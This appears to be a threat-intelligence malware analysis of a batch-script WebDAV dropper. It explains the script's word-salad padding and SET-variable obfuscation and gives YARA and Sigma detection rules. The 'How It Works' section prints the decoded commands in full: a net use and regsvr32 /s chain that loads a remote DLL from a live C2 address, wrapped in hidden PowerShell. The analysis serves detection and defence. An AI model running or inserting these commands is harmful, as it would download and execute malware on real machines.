unclassified-js-webdav-dropper: 5e170f1b — natural-language SET batch, WebDAV C2 45.9.74.32:8888, payload 209221036312347.dll, goto basketball

Executive Summary. Fifty-third confirmed sibling of the unclassified-js-webdav-dropper family. A 8.9 KB pure batch dropper using 36-entry natural-language SET variable-expansion obfuscation to hide a net use + regsvr32 /s WebDAV execution chain against 45.9.74.32:8888. Decoy is start wordpad (no color f0 background change observed in this variant). PowerShell -WindowStyle Hidden wrapper present. Leading word-salad padding (~44 lines of English noise before :basketball label). Static-only (batch script, not a binary).

What It Is

• File type: ASCII text batch script, CRLF line endings, 95 lines, 8,922 bytes ^[file.txt]
• Filename: 1141086681404013061.bat ^[triage.json]
• Family: unclassified-js-webdav-dropper — high-confidence sibling (53rd confirmed). Same execution engine as ffd5d894, e11665cf, dac5e0ee, b2a097ba, b32ea531, 976dc607, 9bea44f4, a1b6e36f, 682bea06, 6e5e5715, 509090e9, and 4f20ce5f.
• Obfuscation dialect: Natural-language SET variable expansion (36 variables on a single &&-chained line). Variable names are grammatically coherent three-word English phrases (e.g. mysteriousrecordattack, aquaticlinerock, foregoingfaultypigs). ^[strings.txt:46]
• Novel label: goto basketball / :basketball — first observed label in this family. Prior siblings used :signal, :wind, :quarrelsome, :drunk, :minister, :tax, and others. ^[strings.txt:1] ^[strings.txt:45]
• Anti-analysis: None. No debugger checks, no VM detection, no time-bombs, no connectivity verification. ^[strings.txt]

How It Works

1. Word-salad padding (~44 lines of unrelated English phrases) precedes the :basketball label. These lines are no-ops that pad file size and break simple string-matching. ^[strings.txt:1-44]
2. Variable assignment (line 46): 36 SET commands chained with && on a single line, each mapping a natural-language phrase to one character or digit. The character set covers the full payload alphabet plus digits. ^[strings.txt:46]
3. Expansion & execution (lines 47-49): Three lines of %VAR% expansion decode to:

   start wordpad
   cmd /k net use \\45.9.74.32@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.32@8888\davwwwroot\209221036312347.dll
   start powershell.exe -WindowStyle Hidden cmd /k net use \\45.9.74.32@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.32@8888\davwwwroot\209221036312347.dll
   exit 0.dll
   

   ^[strings.txt:47-49]
4. WebDAV mount via net use on \\45.9.74.32@8888\davwwwroot\. ^[strings.txt:49]
5. Silent DLL registration via regsvr32 /s on the remote payload 209221036312347.dll. ^[strings.txt:49]
6. Decoy start wordpad opens WordPad to occupy the user. Notably absent: the color f0 (white-on-black console background change) seen in most prior natural-language batch siblings. ^[strings.txt:47]
7. PowerShell hidden wrapper spawns the same net use + regsvr32 chain inside powershell.exe -WindowStyle Hidden, providing a second execution path and obfuscating parent-child telemetry. ^[strings.txt:49]

C2 Infrastructure

C2 overlap: 45.9.74.32:8888 is the second-most frequent IP in this family (after 45.9.74.36:8888). Previously observed in e777fd64, ed6b2cd3, c6e24c16, ceacabb4, d36d84f2, dc9b0407, and 563db970 (all batch variants using rundll32 ... ,entry execution). This sample shifts the same IP to regsvr32 /s execution instead of rundll32, and drops the rundll32-era color f0 decoy.

Interesting Tidbits

• Simplified decoy: Every prior natural-language batch sibling on 45.9.74.36:8888 used color f0 && start wordpad. This sample (first on 45.9.74.32:8888 in the natural-language batch dialect) drops color f0, leaving only start wordpad. ^[strings.txt:47]
• Label novelty: :basketball is the first sports-themed label in the family. Prior labels were adjectives, nouns, or abstract concepts (:signal, :wind, :quarrelsome, :drunk, :minister, :tax). This suggests the builder randomly selects from a large English word pool. ^[strings.txt:45]
• Padding volume: ~44 lines (~4.2 KB) of word-salad padding sits between the goto and the :basketball label. Mid-sized: more than 563db970 (zero padding) but far less than a1b6e36f (~185 lines / ~16 KB). ^[strings.txt:1-44]
• Three-line execution footprint: The actual malicious logic occupies only 3 lines (47-49). The rest is noise. ^[strings.txt:47-49]
• DLL payload name: 209221036312347.dll — 15 digits, no obvious timestamp or phone-number pattern. Family payload filenames are consistently 10-17 digit strings. ^[strings.txt:49]
• exit 0.dll artifact: The decoded third line ends with exit 0.dll — the 0 is the exit code, .dll is a trailing artifact from %distanceintroducepack%%merebadwary%%merebadwary% decoding to d.dll where d was already consumed earlier. This is a recurring decoder bug in this family’s batch builder: trailing characters leak when the payload string length is not an exact multiple of the variable-name coverage. Harmless — exit 0 still terminates the batch, and .dll is ignored as an invalid command. ^[strings.txt:49]

Deployable Signatures

YARA Rule

rule UnclassifiedJSWebDAVDropper_NaturalLanguageSET_Batch {
    meta:
        description = "WebDAV dropper batch script using natural-language SET variable expansion"
        author = "PacketPursuit"
        reference = "raw/analyses/5e170f1b52640886b343eddcda9a15050af0b1dec15b2d58ce3bb28d0968d249"
        family = "unclassified-js-webdav-dropper"
        date = "2026-07-11"
    strings:
        $set_chain = "&&set" nocase
        $net_use = "net use" nocase
        $dav = "davwwwroot" nocase
        $regsvr32 = "regsvr32 /s" nocase
        $ps_hidden = "-WindowStyle Hidden" nocase
        $wordpad = "start wordpad" nocase
        $goto_label = /goto [a-z]+\r\n/ nocase
    condition:
        $set_chain and $net_use and $dav and ($regsvr32 or $ps_hidden) and filesize < 20KB
}

Sigma Rule

title: WebDAV DLL Registration via Batch Script - Natural Language SET Obfuscation
logsource:
    category: process_creation
    product: windows
detection:
    selection_cmd:
        CommandLine|contains:
            - 'net use'
            - 'davwwwroot'
    selection_exec:
        CommandLine|contains:
            - 'regsvr32 /s'
            - 'rundll32'
    selection_ps:
        CommandLine|contains:
            - 'powershell.exe -WindowStyle Hidden'
            - 'powershell.exe -windowstyle hidden'
    condition: selection_cmd and (selection_exec or selection_ps)
falsepositives:
    - Legitimate administrative WebDAV mounting
level: high

IOC List

Behavioral Fingerprint

This batch script opens by executing 40-50 lines of irrelevant English word-salad, then jumps to a : label (basketball in this sample, but any lowercase word). At the label, a single line chains 30-40 SET commands with &&, each assigning a natural-language phrase to one character. The next 3 lines expand these variables to produce: (1) start wordpad as a decoy, (2) cmd /k net use \\IP@8888\davwwwroot\ ; regsvr32 /s \\IP@8888\davwwwroot\<digits>.dll, and optionally (3) start powershell.exe -WindowStyle Hidden with the same WebDAV + regsvr32 chain. No sandbox gate, no persistence, no error handling. The script exits immediately after spawning the payload.

Detection Signatures

References

• Artifact ID: 45b2ff69-1d44-4577-8249-180c0d8596d2
• Source: MalwareBazaar via OpenCTI urlhaus-recent-payloads connector
• Family entity: unclassified-js-webdav-dropper
• Technique: batch-powershell-variable-expansion-obfuscation
• Technique: webdav-regsvr32-dll-sideloading

Provenance

• file.txt — file v5.45, identifies as ASCII text with CRLF
• strings.txt — strings v2.42, full text extraction
• exiftool.json — ExifTool 12.76, line/word counts
• triage.json — triage-fast pipeline, 2026-05-26
• dynamic-analysis.md — CAPE skipped (text file, not a binary)
• Manual batch decoding performed by variable substitution in this report